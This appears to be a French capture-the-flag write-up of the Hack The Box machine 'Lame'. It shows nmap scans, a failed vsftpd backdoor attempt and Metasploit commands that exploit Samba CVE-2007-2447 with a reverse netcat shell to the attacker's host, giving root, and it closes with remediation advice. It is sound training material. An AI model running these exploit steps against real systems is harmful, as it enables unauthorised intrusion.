Passer au contenu

Lame

OSDifficultyTarget
LinuxEASY10.129.30.106

Flags

FlagEmplacement
User/home/makis/user.txt
Root/root/root.txt

Résumé

  1. Reconnaissance : 4 ports ouverts (FTP, SSH, SMB 139/445)
  2. Fausse piste : vsftpd 2.3.4 backdoor bloqué par firewall
  3. Exploitation : Samba 3.0.20 usermap_script (CVE-2007-2447) → shell root direct
  4. Bonus : Investigation du firewall bloquant le backdoor vsftpd

Reconnaissance

Nmap scan

Fenêtre du terminal
nmap -T4 -A 10.129.30.106
Fenêtre du terminal
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian

4 ports ouverts : FTP (21), SSH (22), SMB (139, 445)

Services identifiés

ServiceVersionNotes
vsftpd2.3.4Connexion anonyme, backdoor connu
OpenSSH4.7p1Ancienne version
Samba3.0.20Vulnérable à CVE-2007-2447

Enumération SMB

Fenêtre du terminal
nmap -p 139,445 --script="smb-vuln*" 10.129.30.106
Fenêtre du terminal
| smb-os-discovery:
| OS: Unix (Samba 3.0.20-Debian)
| Computer name: lame
| Domain name: hackthebox.gr
| FQDN: lame.hackthebox.gr

Exploitation

Tentative 1 : vsftpd 2.3.4 backdoor (échec)

vsftpd 2.3.4 contient un backdoor célèbre qui ouvre le port 6200 quand on envoie :) dans le nom d’utilisateur.

Fenêtre du terminal
msf > use exploit/unix/ftp/vsftpd_234_backdoor
msf > set RHOSTS 10.129.30.106
msf > exploit
[*] Exploit completed, but no session was created.

Résultat : Le backdoor se déclenche (port 6200 s’ouvre) mais le firewall bloque la connexion.

Tentative 2 : Samba usermap_script (succès)

Samba 3.0.20 est vulnérable à CVE-2007-2447 : injection de commandes via le champ nom d’utilisateur.

Fenêtre du terminal
msf > use exploit/multi/samba/usermap_script
msf > set RHOSTS 10.129.30.106
msf > set PAYLOAD cmd/unix/reverse_netcat
msf > set LHOST 10.10.14.197
msf > set LPORT 4445
msf > exploit
Fenêtre du terminal
[*] Started reverse TCP handler on 10.10.14.197:4445
[*] Command shell session 1 opened (10.10.14.197:4445 -> 10.129.30.106:37763)

Shell obtenu

Fenêtre du terminal
whoami
root
cat /home/makis/user.txt
[REDACTED]
cat /root/root.txt
[REDACTED]

Note : L’exploit Samba donne directement un shell root, pas besoin d’élévation de privilèges.


Bonus : investigation du firewall

Pourquoi le backdoor vsftpd échoue ?

Avec un shell root, on peut investiguer pourquoi le backdoor vsftpd ne fonctionnait pas.

Fenêtre du terminal
iptables -L -n -v
Fenêtre du terminal
Chain INPUT (policy DROP)
...
Chain ufw-user-input (1 references)
ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:21
ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:22
ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:139
ACCEPT tcp -- * * 0.0.0.0/0 0.0.0.0/0 tcp dpt:445

UFW (Uncomplicated Firewall) est configuré avec une policy DROP par défaut. Seuls les ports 21, 22, 139, 445 sont autorisés.

Le port 6200 (ouvert par le backdoor vsftpd) n’est pas dans la liste → connexion bloquée.


Résumé de l’attaque

┌─────────────────┐ ┌─────────────────┐
│ Attaquant │ │ Lame │
│ 10.10.14.197 │ │ 10.129.30.106 │
└────────┬────────┘ └────────┬────────┘
│ │
│ 1. Nmap scan │
│────────────────────────────────────────────►│
│ Découverte: vsftpd 2.3.4, Samba 3.0.20 │
│◄────────────────────────────────────────────│
│ │
│ 2. vsftpd backdoor (BLOCKED by firewall) │
│──────────────────────X │
│ │
│ 3. Samba usermap_script (CVE-2007-2447) │
│────────────────────────────────────────────►│
│ │
│ 4. Reverse shell (root) │
│◄────────────────────────────────────────────│
│ │
▼ ▼
User + Root flags

A retenir

VulnérabilitéDescriptionRemédiation
Samba CVE-2007-2447Injection de commandes via nom d’utilisateurMettre à jour Samba > 3.0.25
vsftpd 2.3.4 BackdoorBackdoor dans le code source officielMettre à jour vsftpd
Services obsolètesVersions très anciennes des servicesMaintenir les systèmes à jour
Firewall insuffisantBloque vsftpd backdoor mais pas SambaDéfense en profondeur

Outils utilisés

  • nmap
  • Metasploit (exploit/multi/samba/usermap_script)

Références